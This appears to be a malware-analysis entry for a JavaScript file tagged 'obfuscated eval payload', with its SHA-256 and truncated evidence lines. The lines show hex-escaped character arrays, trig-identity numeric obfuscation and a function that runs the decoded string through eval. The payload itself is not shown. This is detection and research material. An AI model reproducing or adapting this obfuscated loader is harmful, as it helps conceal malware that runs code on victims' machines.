20151214_8bf9a6cfdbb13e4405b3880a72f95d4a.js
obfuscated eval payload
Numeric trig-round obfuscation expressionNumeric sine-square obfuscation expression
SHA-256877902305e5df8caff69314d16babd7dd54507c6ddaf26c106ae2ee02d34e747
MaleculeK(Li)O₂(As₃S)H₂(Db₃Po)
Evidence
1var o=new Array();
2I(o,"\x2d");I(o,"\x68");I(o,"\x5e");I(o,"\x44");I(o,"\x3a");I(o,"\x79");I(o,"\x73");I(o,"\x52");I(o,"\x62");I(o,"\x74");I(o,"\x4f");I(o,"\x32");I(o,"\x29");I(o,"\x54");I(o,"\x2d");I(o,"\x33");I(o,"\x20");I(o,"\x3c");I(o,"\x72");I(o,"\x74");I(o,"\x66");I(o,"\x46");I(o,"\x4d");I(o,"\x42");I(o,"\x68");I(o,"\x48");I(o,"\x48");I(o,"\x4d");I(o,"\x5b");I(o,"\x2c");I(o,"\x78");I(o,"\x2e");I(o,"\x54");I(o,"\x34");I(o,"\x6e");I(o,"\x23");I(o,"\x25");I(o,"\x4d");I(o,"\x6f");I(o,"\x20");I(o,"\x2c");I(o,"\x21");I(o,"\x60");I(o,"\x55");I(o,"\x2f");I(o,"\x4f");I(o,"\x5f");I(o,"\x34");I(o,"\x2a");I(o,"\x6f");I(o,"\x57");I(o,"\x4b");I(o,"\x74");I(o, …
4:248… 41],o[42],o[43],o[44],o[45],o[46],o[47],o[48],o[49],o[50],o[51],String.fromCharCode(10),o[52],o[53],o[54],o[55],o[56],o[57],o[58],o[59],o[60],o[61],o[62],o[63],String.fromCharCode(13),o[64],o[65],o[66],o[67],o[6 …
4:5013… ],o[717],o[718],o[719],o[720],o[721],o[722],o[723],o[724],o[725],o[726],o[727]];
5function I(mLkoDkFXXvrW,uzuQSavHptAcmu){mLkoDkFXXvrW.push(uzuQSavHptAcmu);}function v6(VrikgwEJuFzgneUC){if(cKjlvAJ(VrikgwEJuFzgneUC)) {return (String.fromCharCode(VrikgwEJuFzgneUC) + String.fromCharCode((33714+243)/693));}}
6function ddmqt(TeFQwUsuwfT,RRLYswuhLWvpB,NDUfEMsx){KFny=parseInt(TeFQwUsuwfT,RRLYswuhLWvpB);wyeKT=KFny.toString(NDUfEMsx);return wyeKT;}function OdvXNxJgkGMgyea(oDVDubGUTKyZcbqjE,XUmFWOqnXOoyGkQyCsHKDqSoWyZOnZsIOJ,svcExjteirmywlSXcyZogdksLkxnbEkzMIw){eval(oDVDubGUTKyZcbqjE)}
7function OdvXNxJgkGMgyea(oDVDubGUTKyZcbqjE){eval(oDVDubGUTKyZcbqjE)}
8function UvrDvFeGMxlotbXCxetOOJalPbaKaNTaMLLARttUHokMK …
9:155… RlPGgWStFxrddL);}
10function bcIutGxtaPq(pYttkMsG,LHchrg){return pYttkMsG.split(LHchrg)}
11var y=[];y[0]=o[728];y[1]=o[729];y[2]=o[730];y[3]=o[731];y[4]=o[732];y[5]=o[733];y[6]=o[734];y[7]=o[735];y[8]=o[736];y[9]=o[737];y[10]=o[738];y[11]=o[739];y[12]=o[740];y[13]=o[741];y[14]=o[742];y[15]= …
13:13… ,M];
14var fQQJVFtsY=[];
15function woapCtyvriOosInNB(KAbLN){VUsANXOGYsL= o[1803];for(iqtSkuMFQNj=Math.round((Math.pow(Math.sin(496), 2) + Math.pow(Math.cos(496), 2) - 1)); iqtSkuMFQNj < (-514+964)/225; iqtSkuMFQNj++) {fQQJVFtsY[iqtSkuMFQNj]=Math.round((Math.pow(Math.sin(331), 2) + Math.pow(Math.cos(331), 2) - 1)); while(true) { if(fQQJVFtsY[iqtSkuMFQNj] > KAbLN[iqtSkuMFQNj].length-(-213+370)/157) { break; } if (cKjlvAJ(ddmqt(KAbLN[iqtSkuMFQNj][fQQJVFtsY[iqtSkuMFQNj]],(25917+487)/943,(2955+395)/335))) {VUsANXOGYsL += UvrDvFeGMxlotbXCxetOOJalPbaKaNTaMLLARttUHokMKwBUkqFFyC([KAbLN[iqtSkuMFQNj][fQQJVFtsY[iqtSkuMFQNj]]], Math.round((Math.pow(Math.sin(87), 2) + Math.pow(Math.cos(87), 2) - 1)));} fQQJVFtsY[iqtSkuMFQNj]++;}} return VUsANXOGYsL}
16var xqzfipMTAAfiKcyQkQsNgTfubcxoLSPsL = o[1804];var FrLZbVfcvWDDMpZCjNOUqXIoGvwNUbBe = o[1805];OdvXNxJgkGMgyea(woapCtyvriOosInNB(KAbLN),xqzfipMTAAfiKcyQkQsNgTfubcxoLSPsL,FrLZbVfcvWDDMpZCjNOU …